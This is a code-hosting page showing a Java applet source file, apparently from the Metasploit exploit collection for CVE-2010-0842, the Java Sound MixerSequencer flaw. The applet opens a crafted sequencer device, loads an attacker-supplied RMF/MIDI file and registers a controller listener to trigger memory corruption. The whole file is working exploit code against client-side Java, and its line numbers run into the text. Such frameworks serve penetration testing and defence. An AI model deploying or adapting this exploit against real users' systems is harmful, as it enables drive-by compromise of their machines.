Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2010-0842/MixerMidiApplet/MixerMidiApplet.java
Views: 11784
import java.applet.Applet;1import java.awt.Graphics;2import java.io.*;34import java.net.*;56import javax.sound.midi.*;7import com.sun.media.sound.*;8import javax.sound.midi.*;91011public class MixerMidiApplet extends Applet {1213Sequencer sequencer = null;14Sequence mySeq = null;1516@Override17public void start() {1819//What midi file do we need to play.. ?2021String filename = getParameter("MIDIFILE");2223// Main code, its in a try thanks to all the calls that24// might theoretically go wrong.25try {26// Get a list of midi devices installed. We added our own device27// (well actually only a device provider) that returns a28// MixerSequencer. Another option would be to use the29// default RealtimeSequencer and then use a RMF midifile,30// that way the RealtimeSequencer will be using a MixerSequencer.31// But then we need our own MidiFileReader and return32// the correct MidiFile info, this is much easier :)33MidiDevice.Info[] infos = MidiSystem.getMidiDeviceInfo();3435// infos[0] should be our MixerSequencerProvider36MidiDevice mixer = MidiSystem.getMidiDevice(infos[0]);3738// Turn it into a sequencer39sequencer = (Sequencer)mixer;4041// Open it42sequencer.open();4344// Get the input stream from the midi file so we45// can use that in setSequencer46InputStream midistream = getClass().getResourceAsStream(filename);4748//We need to convert the InputStream to an byteArrayInputStream49// to avoid 'ERROR! java.io.IOException: mark/reset not supported'50// exceptions51ByteArrayOutputStream bos = new ByteArrayOutputStream();52byte[] buf = new byte[1024];53int c;54while((c = midistream.read(buf)) != -1) {55bos.write(buf, 0, c);56}5758ByteArrayInputStream bamidistream = new ByteArrayInputStream(bos.toByteArray());5960// This will call nOpenRmfSequencer wich will the RMF SONG BlockID61// as our pSong->userReference62sequencer.setSequence(bamidistream);6364// We add a controler at the first array field.65MyController mc = new MyController();6667// This will fil the right tables, and add our newly found68// SONG id (in the .rmf file) where we want it.69sequencer.addControllerEventListener(mc, new int[] {0});7071// Start playing the midi file, then find a nice72// 00 B0 80 00 secquence and make us happy73sequencer.start();7475} catch (Exception ex) {76System.out.println("ERROR! " + ex);77}7879}8081public void run() {8283}8485}8687